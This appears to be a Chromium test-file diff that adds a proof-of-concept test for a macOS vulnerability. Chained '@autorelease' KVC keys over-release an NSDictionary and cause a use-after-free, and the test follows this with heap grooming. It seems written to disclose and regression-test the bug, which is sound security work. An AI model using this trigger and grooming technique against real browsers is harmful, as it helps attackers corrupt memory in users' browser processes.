diff --git a/components/device_signals/core/browser/mac/plist_settings_client_unittest.mm b/components/device_signals/core/browser/mac/plist_settings_client_unittest.mm index 5172a51d3e082..6458a2c6c3f75 100644 --- a/components/device_signals/core/browser/mac/plist_settings_client_unittest.mm +++ b/components/device_signals/core/browser/mac/plist_settings_client_unittest.mm @@ -11,6 +11,8 @@ #include "base/files/file_path.h" #include "base/strings/stringprintf.h" #include "base/test/task_environment.h" +#include "base/threading/platform_thread.h" +#include "base/time/time.h" #include "base/test/test_future.h" #include "components/device_signals/test/test_constants.h" #include "testing/gmock/include/gmock/gmock.h" @@ -299,4 +301,49 @@ TEST_F(PlistSettingsClientTest, EXPECT_EQ(items, future_.Get()); } +// SECURITY POC: Demonstrates that an attacker-controlled `key` reaching +// PlistSettingsClient::GetSettings() can over-release the loaded NSDictionary +// in the browser process. -[NSDictionary valueForKey:] strips a leading '@' +// and forwards to NSObject's valueForKey:, whose accessor search invokes the +// matching zero-arg instance method. "@autorelease" therefore calls +// -[plist_dict autorelease]; chaining "@autorelease.@autorelease..." registers +// N pending releases in the ThreadPool worker's ScopedNSAutoreleasePool. ARC +// frees plist_dict at the end of each for-loop iteration in GetSettingItems(), +// so when the worker's pool later drains, objc_release() runs N times on a +// dangling pointer. +// +// In an ASAN build this test produces heap-use-after-free inside +// objc_release / AutoreleasePoolPage::releaseUntil on a ThreadPoolForeground +// worker thread. In a non-ASAN build it typically aborts with an ObjC +// over-release diagnostic ("*** -[__NSDictionaryI release]: message sent to +// deallocated instance" with NSZombieEnabled, or a malloc double-free). +TEST_F(PlistSettingsClientTest, GetSettings_KVCSelectorOverRelease_POC) { + test_file_path_ = test::GetOnlyDictionaryPlistPath(); + + // 16 chained @autorelease invocations on the freshly-loaded plist dict. + std::string key = "@autorelease"; + for (int i = 0; i < 15; ++i) { + key += ".@autorelease"; + } + + std::vector options; + // Entry 0: schedule N deferred releases, then ARC frees the dict at end of + // the first loop iteration. + options.push_back(CreateOption(key, /*get_value=*/false)); + // Entries 1..32: groom the freed slot with fresh NS/CF allocations + // (NSURL / NSDictionary / NSError / NSString) before the pool drains. + for (int i = 0; i < 32; ++i) { + options.push_back( + CreateOption("Key1.SubKey1.StringKeyValue", /*get_value=*/true)); + } + + client_.GetSettings(options, future_.GetCallback()); + std::ignore = future_.Get(); + + // Give the ThreadPool worker time to fall out of its run-loop iteration and + // drain its ScopedNSAutoreleasePool (where the over-release fires). + base::PlatformThread::Sleep(base::Milliseconds(500)); + task_environment_.RunUntilIdle(); +} + } // namespace device_signals